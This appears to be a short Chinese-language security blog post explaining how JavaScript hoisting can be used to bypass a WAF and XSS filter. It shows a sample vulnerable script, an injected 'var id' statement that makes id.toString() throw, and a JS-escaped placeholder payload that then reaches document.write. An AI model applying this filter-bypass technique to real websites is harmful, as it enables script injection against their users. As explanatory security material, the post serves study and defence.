Xss 之 javascript 代码提升

Xss 无奇不有,就如最近遇到的这个就很奇葩

<script>
var msg = 'a';//msg为 Get请求得到的值,然而会过滤',无法xss
var id='1';//id为 Get请求得到的值,强制int
(function(){
    try{
        $.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
    }catch(err){
        document.write(msg);
    }
{xsshere}
})();
</script>

其实这里的xss本来只要一句 alert(); 就够了,然而无奈这里竟然有waf和强大的xss filter拦截!

细看代码,似乎怎么也绕不过,如果$.get()能报错多好,如果能到document.write()...似乎是可以绕过waf和xssfilter的(因为可以js编码)
$.get()似乎是不能报错了,id.toString()呢..
突然我想到了妙计!

通过javascript hoisting,在xss here处输入
var id = '1';
此时waf对这串代码表示满意,在msg处输入js编码的xsscode,此时:

<script>
var msg = '\x3c\x3e';//这是一串xss
var id='1';//id为 Get请求得到的值,强制int
(function(){
    try{
        $.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
    }catch(err){
        document.write(msg);
    }
    var id = '1';
})();
</script>

整个代码看起来应该是这样:

<script>
var msg = '\x3c\x3e';//这是一串xss
var id='1';//id为 Get请求得到的值,强制int
(function(){
    var id;//javascript hoisting = undefined
    try{
        $.get('http://xxx.xxx.xxx.xxx/xxx'+id.toString());
    }catch(err){
        document.write(msg);
    }
    id = '1';
})();
</script>

从而成功导致了id.toSring();成为error , 进一步到了 document.write();
xss success!